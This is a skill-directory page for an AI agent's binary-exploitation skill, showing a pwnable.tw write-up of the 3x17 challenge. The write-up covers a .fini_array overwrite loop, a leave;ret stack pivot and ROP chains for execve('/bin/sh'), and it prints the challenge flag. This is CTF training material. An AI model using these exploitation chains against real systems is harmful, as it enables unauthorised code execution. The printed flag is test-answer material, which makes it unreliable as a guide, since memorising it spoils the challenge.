Skip to content

ljagiello/ctf-skills / ctf-pwn

ctf-pwn

Flagged

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

FileKindSize
SKILL.mdskill md20.4 KB
advanced-exploits-2.mdmarkdown30.4 KB
advanced-exploits-3.mdmarkdown32.5 KB
advanced-exploits-4.mdmarkdown30.5 KB
advanced-exploits-5.mdmarkdown6.1 KB
advanced-exploits.mdmarkdown35.0 KB
advanced.mdmarkdown14.3 KB
attack-playbook.mdmarkdown5.6 KB
field-notes.mdmarkdown25.7 KB
format-string.mdmarkdown32.3 KB
heap-fsop.mdmarkdown14.8 KB
heap-techniques-2.mdmarkdown19.8 KB
heap-techniques.mdmarkdown37.2 KB
kernel-bypass.mdmarkdown19.6 KB
kernel-techniques.mdmarkdown18.6 KB
kernel.mdmarkdown32.0 KB
overflow-basics.mdmarkdown26.2 KB
pwnable-tw/3x17.mdmarkdown11.3 KB
pwnable-tw/README.mdmarkdown54.0 KB
pwnable-tw/alive_note.mdmarkdown13.9 KB
pwnable-tw/applestore.mdmarkdown14.0 KB
pwnable-tw/babyallocator.mdmarkdown14.8 KB
pwnable-tw/babystack.mdmarkdown15.0 KB
pwnable-tw/bash.mdmarkdown10.3 KB
pwnable-tw/bash_revenge.mdmarkdown14.2 KB
pwnable-tw/bookwriter.mdmarkdown12.7 KB
pwnable-tw/bounty_program_a.mdmarkdown14.1 KB
pwnable-tw/bounty_program_b.mdmarkdown13.5 KB
pwnable-tw/break_out.mdmarkdown14.1 KB
pwnable-tw/calc.mdmarkdown13.2 KB
pwnable-tw/caov.mdmarkdown13.4 KB
pwnable-tw/criticalheap.mdmarkdown14.0 KB
pwnable-tw/criticalheap_pp.mdmarkdown13.3 KB
pwnable-tw/de_aslr.mdmarkdown14.8 KB
pwnable-tw/death_note.mdmarkdown13.7 KB
pwnable-tw/digimon.mdmarkdown14.5 KB
pwnable-tw/dubblesort.mdmarkdown11.5 KB
pwnable-tw/food_store.mdmarkdown12.8 KB
pwnable-tw/ghost_party.mdmarkdown13.2 KB
pwnable-tw/hacknote.mdmarkdown12.4 KB
pwnable-tw/heap_paradise.mdmarkdown12.4 KB
pwnable-tw/hitcon_ftp.mdmarkdown13.7 KB
pwnable-tw/kidding.mdmarkdown13.3 KB
pwnable-tw/mno2.mdmarkdown12.5 KB
pwnable-tw/omegago.mdmarkdown13.6 KB
pwnable-tw/orw.mdmarkdown11.8 KB
pwnable-tw/printable.mdmarkdown13.7 KB
pwnable-tw/re_alloc.mdmarkdown11.6 KB
pwnable-tw/re_alloc_revenge.mdmarkdown11.5 KB
pwnable-tw/seccomptools.mdmarkdown12.3 KB
pwnable-tw/secret_garden.mdmarkdown13.9 KB
pwnable-tw/secret_of_my_heart.mdmarkdown12.6 KB
pwnable-tw/seethefile.mdmarkdown12.4 KB
pwnable-tw/silver_bullet.mdmarkdown14.0 KB
pwnable-tw/spirited_away.mdmarkdown11.9 KB
pwnable-tw/starbound.mdmarkdown13.3 KB
pwnable-tw/start.mdmarkdown10.7 KB
pwnable-tw/stupid_boss.mdmarkdown13.4 KB
pwnable-tw/tcache_tear.mdmarkdown12.5 KB
pwnable-tw/unexploitable.mdmarkdown14.4 KB
pwnable-tw/wannaheap.mdmarkdown12.9 KB
rop-advanced.mdmarkdown32.3 KB
rop-and-shellcode.mdmarkdown28.1 KB
sandbox-escape.mdmarkdown15.1 KB
scripts/fmtstr_payload_suite.pyexecutablescript3.1 KB
scripts/ret2libc_two_stage.pyexecutablescript2.5 KB
scripts/seccomp_orw_generator.pyexecutablescript3.2 KB
scripts/shellcraft_asm.pyexecutablescript2.7 KB
scripts/srop_execve.pyexecutablescript2.7 KB
static-signals.mdmarkdown2.2 KB
tools-mcp.mdmarkdown11.8 KB

pwnable-tw/3x17.md

View on GitHub
---
tags:
  - arbitrary-write
  - fini-array-overwrite
  - rop
  - static-binary
platform: pwnable.tw
points: 150
arch: x86-64
libc: static
relro: partial
canary: no
nx: yes
pie: no
references:
  - https://pwnable.tw/challenge/
description: "An arbitrary 24-byte write allows overwriting .fini_array entries to loop __libc_csu_fini, pivoting RSP to user input and executing a ROP chain to invoke execve."
proof-of-concept: no
---

# 3x17 — pwnable.tw (150 pts)

[← Back to pwnable.tw Challenge Index](README.md)

> `nc chall.pwnable.tw 10105`
>
> Flag: `FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}`

## Challenge Overview

A statically linked, stripped x86-64 ELF binary (no PIE, no canary, NX enabled). The binary provides a single arbitrary write primitive: it prompts for an address and 24 bytes of data, writes the data to the address, then exits. The challenge is to turn this one-shot write into a shell.

```bash
checksec:
  Arch:     amd64-64-little
  RELRO:    Partial RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      No PIE (0x400000)
```

**Binary type:** Statically linked (no libc.so — all libc functions inlined). No dynamic loader, no GOT/PLT in the usual sense.

## Reverse Engineering

### `main` (0x401B6D)

The `main` function is simple:

```c
// Pseudocode of main @ 0x401B6D
void main() {
    char buf[24];
    unsigned long addr;

    write(1, "addr:", 5);
    read(0, buf, 24);
    addr = strtoul(buf, NULL, 10);  // parse address as decimal

    write(1, "data:", 5);
    read(0, buf, 24);               // read exactly 24 bytes of data

    // Guard: only write once (byte at 0x4B9330 is checked)
    if (byte_4B9330 != 0) {
        return;                     // exit without writing
    }
    byte_4B9330 = 1;
    memcpy((void *)addr, buf, 24);  // arbitrary 24-byte write
}
```

**Key details:**
- Address is parsed as a **decimal** (or with `+` prefix) string via `strtoul`
- Data is exactly **24 bytes** (3 qwords)
- A **one-shot guard** at `0x4B9330` prevents re-entry — once set to 1, subsequent calls skip the write
- The binary then returns through the normal exit path: `main` → `__libc_start_main` → `exit()` → `.fini_array` destructors

### `__libc_csu_fini` (0x402960)

The destructor-calling routine invoked during `exit()`:

```asm
; __libc_csu_fini @ 0x402960
; Calls .fini_array entries in REVERSE order: [1], then [0]
mov  rbp, qword [0x4B40F8]   ; .fini_array end pointer
...
0x402988: call qword [rbp+rbx*8]  ; call .fini_array[i]
; decrements rbx, loops until rbx == -1
```

**Critical behavior:** When `__libc_csu_fini` runs:
- `rbp` is set to `.fini_array` base (`0x4B40F0`)
- It calls `.fini_array[1]` first, then `.fini_array[0]`
- After calling `.fini_array[0]`, `rbp` still points to `0x4B40F0`

## Vulnerabilities

### V1 — Unrestricted Arbitrary Write (Primary)

**Root Cause:** `main` writes 24 bytes to any user-supplied address with no bounds checking. The `.fini_array` section at `0x4B40F0` is writable (Partial RELRO), and the binary is not PIE, so all addresses are known.

```c
memcpy((void *)addr, buf, 24);  // write 24 bytes anywhere
```

### V2 — `.fini_array` Loop: One Write → Infinite Writes

**Root Cause:** The `.fini_array` is called during `exit()`. By overwriting it with `{__libc_csu_fini, main}`, a self-reinforcing loop is created:

1. `exit()` → `__libc_csu_fini` → calls `.fini_array[1]` = `main` → user gets another write
2. `main` returns → `__libc_csu_fini` continues → calls `.fini_array[0]` = `__libc_csu_fini` → loop repeats

**The guard byte at `0x4B9330`** wraps around after 256 iterations (it's a `uint8_t` that increments each call), so writes remain possible for 256 rounds.

```python
# Turn one write into infinite writes:
write(0x4B40F0, p64(0x402960) + p64(0x401B6D))
#                    __libc_csu_fini    main
```

### V3 — Stack Pivot via `leave; ret`

**Root Cause:** At the end of `main` (address `0x401C4B`), there is a `leave; ret` instruction. Since `rbp` points to `.fini_array` (`0x4B40F0`) during the destructor calls, executing `leave; ret` as `.fini_array[0]` sets `rsp = 0x4B40F0 + 8 = 0x4B40F8`, pivoting the stack into writable memory where the attacker has placed a ROP chain.

```asm
; 0x401C4B:
leave       ; rsp = rbp; pop rbp → rsp = 0x4B40F8
ret         ; pop rip from 0x4B40F8 → jumps to value at .fini_array[1]
```

## Key Addresses

| Address | Symbol | Purpose |
|---------|--------|---------|
| `0x4B40F0` | `.fini_array[0]` | First destructor (called second) |
| `0x4B40F8` | `.fini_array[1]` | Second destructor (called first) |
| `0x402960` | `__libc_csu_fini` | Destructor caller — creates the loop |
| `0x401B6D` | `main` | Arbitrary 24-byte write |
| `0x401C4B` | `leave; ret` | Stack pivot gadget (end of main) |
| `0x4B9330` | guard byte | One-shot write guard (wraps at 256) |

## ROP Gadgets (Statically Linked — Abundant)

```python
POP_RDI  = 0x401696   # pop rdi; ret
POP_RSI  = 0x406C30   # pop rsi; ret
POP_RDX  = 0x446E35   # pop rdx; ret
POP_RAX  = 0x41E4AF   # pop rax; ret
SYSCALL  = 0x4022B4   # syscall; ret  (or 0x471DB5, 0x446ECF — multiple exist)
LEAVE_RET = 0x401C4B  # leave; ret
RET      = 0x401016   # ret (alignment)
```

Some solvers also use:
```python
POP_RDX_RSI = 0x44A309  # pop rdx; pop rsi; ret (combined gadget)
MOV_QWORD_RSI_RAX = 0x47C1B1  # mov [rsi], rax; ret (for writing /bin/sh)
ADD_RAX_1 = 0x471810  # add rax, 1; ret (for building rax=59 incrementally)
XOR_RAX   = 0x442110  # xor rax, rax; ret
```

## Exploit Paths

All solutions follow the same fundamental three-phase approach, differing only in ROP chain construction details.

---

### Path A — `.fini_array` Loop + Direct ROP at `.fini_array+0x10` + `leave; ret` Pivot (Most Common)

**Used by:** ~90% of solutions (138, 1316, 1763, 11445, 11699, 12245, 13060, 13484, 15522, 15883, 15989, 16439, 16609, 16991, 17048, 18324, exp.py, etc.)

**Steps:**

1. **Create the write loop:** First write overwrites `.fini_array` with `{__libc_csu_fini, main}`. This gives unlimited 24-byte writes.

```python
write(0x4B40F0, p64(0x402960) + p64(0x401B6D))
```

2. **Write ROP chain** to memory starting at `.fini_array + 0x10` (or `.bss`, or any writable area). The chain performs `execve("/bin/sh", NULL, NULL)`:

```python
# Typical chain written in 24-byte chunks:
write(0x4B4100, p64(POP_RAX) + p64(59)       + p64(POP_RDI))
write(0x4B4118, p64(BINSH)   + p64(POP_RSI)  + p64(0))
write(0x4B4130, p64(POP_RDX) + p64(0)        + p64(SYSCALL))
```

3. **Write `/bin/sh\0`** to a known writable address (BSS or after the chain).

4. **Trigger the pivot:** Final write overwrites `.fini_array[0]` with `leave; ret`. When `main` returns and `__libc_csu_fini` calls this as a destructor:
   - `leave` sets `rsp = rbp + 8 = 0x4B40F8`
   - `ret` pops the next value as RIP → begins executing the ROP chain

```python
write(0x4B40F0, p64(0x401C4B))  # leave; ret
```

**Variant — Chain placement:** Some place the ROP at `.fini_array + 0x10` (contiguous with the array), others at `.bss` (`0x4B9300+`) or `.data.rel.ro` (`0x4B4100`). The pivot address just needs to be `0x4B40F8` for the `leave; ret` to work, so `.fini_array[1]` must be the first gadget of the chain.

```python
# Final write (common pattern):
write(0x4B40F0, p64(LEAVE_RET) + p64(POP_RDI) + p64(BINSH))
# leave;ret pivots rsp to 0x4B40F8, pops POP_RDI as rip
```

---

### Path B — ROPgadget Auto-Chain with `mov [rsi], rax` + `add rax, 1` (Variant)

**Used by:** Solutions 11968, 14605, 15989

Instead of using `pop rax; ret` with immediate 59, these use ROPgadget's auto-generated chain:
- Write `/bin//sh` to `.data` using `pop rsi; pop rax; mov [rsi], rax; ret`
- Build `rax = 59` by 59× `add rax, 1; ret` after `xor rax, rax; ret`
- Much longer chain but avoids needing a direct `pop rax` with value 59

This results in a much longer ROP chain (~60+ gadgets) but works identically.

---

### Path C — Alternative Loop via Overwriting Call Target (Rare)

**Used by:** Solution 1324

Instead of the standard `.fini_array` loop, overwrites `.init_array` and uses the init/fini interaction:

```python
write(INIT_ARRAY, p64(stack_pivot_gadget) + p64(another_gadget))
write(FINI_ARRAY, p64(INIT_CALL) + p64(0x1337))  # trigger init_array
```

Same end result but via a different code path.

---

### Path D — Canary Leak + Stack Overflow + `pop rsp` Pivot (Rare)

**Used by:** Solution 14479

An unusual approach that:
1. Uses the write loop to overwrite function pointers to create a read primitive
2. Leaks the stack canary from memory
3. Writes a ROP chain to BSS
4. Overwrites the return address with `pop rsp; ret` → ROP chain address
5. Sends a large payload with the canary to overflow the stack and pivot

This is significantly more complex than the `.fini_array` approach.

---

### Path E — `__exit_funcs` / Custom Call Chain (Rare)

**Used by:** Solution 1351

Uses deeper glibc internal structures (`__exit_funcs` at `0x4B9FC0`) to hijack the exit handler chain instead of the simpler `.fini_array` approach. Writes fake function descriptors that redirect through `leave; ret` to the ROP chain.

## Exploit Flow Diagram

```asm
One-shot write
    │
    ▼
Overwrite .fini_array = {__libc_csu_fini, main}
    │
    ▼
main returns → exit() → __libc_csu_fini
    │                         │
    │    calls .fini_array[1] = main  ◄──── User gets another write
    │                         │
    │    calls .fini_array[0] = __libc_csu_fini  ◄──── Loop continues
    │
    ▼  (after writing ROP chain + /bin/sh)
Overwrite .fini_array[0] = leave;ret
    │
    ▼
leave;ret pivots rsp to .fini_array+8
    │
    ▼
ROP chain: execve("/bin/sh", 0, 0) → shell
```

## Exploit Primitive Summary

| Primitive | Source | Reliability |
|-----------|--------|-------------|
| Arbitrary 24-byte write | `main` — no bounds check on address | Deterministic (100%) |
| Infinite writes | `.fini_array` loop trick | Deterministic |
| Stack pivot | `leave; ret` with `rbp` = `.fini_array` | Deterministic |
| Code execution | ROP → `execve` syscall | Deterministic |

## Solution Write-ups

| File | Path | Key Variation | Notes |
|------|------|---------------|-------|
| `138.md` | A | Ruby; chain at `.fini_array+0x10` | Clean minimal approach |
| `1177.md` | A | Uses `mprotect` then sends shellcode | Unique: RWX + shellcode |
| `1297.md` | A | Chain at `0x4B93E0`; `pop rsp` in final | Standard with separate chain area |
| `1316.md` | A | Chain at `.fini_array+0x10` | Uses `pop rdx; pop rsi; ret` combined |
| `1324.md` | C | Via `.init_array` manipulation | Non-standard loop mechanism |
| `1351.md` | E | Via `__exit_funcs` internal struct | Deep glibc internals |
| `1763.md` | A | Chain at `0x4B4100` | Minimal clean solution |
| `11968.md` | B | ROPgadget auto-chain; 59× `add rax,1` | Very long chain, works correctly |
| `14334.md` | A | Chain at `0x4B4108`; well-documented | Good comments explaining each step |
| `14479.md` | D | Canary leak + stack overflow | Complex: leaks canary, uses large payload |
| `17704.md` | A | Includes decompiled `fini()` pseudocode | Explains the v0 loop variable |

## Files

| File | Description |
|------|-------------|
| `exp.py` | Working exploit script (pure Python, no pwntools) |
| `desc.txt` | Challenge description |
| `artifacts/3x17` | Original challenge binary (static, stripped, x86-64) |
| `solution/*.md` | Community write-ups (122 solutions) |
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 196kUpdated Claude CodeCodexVerifiedInstall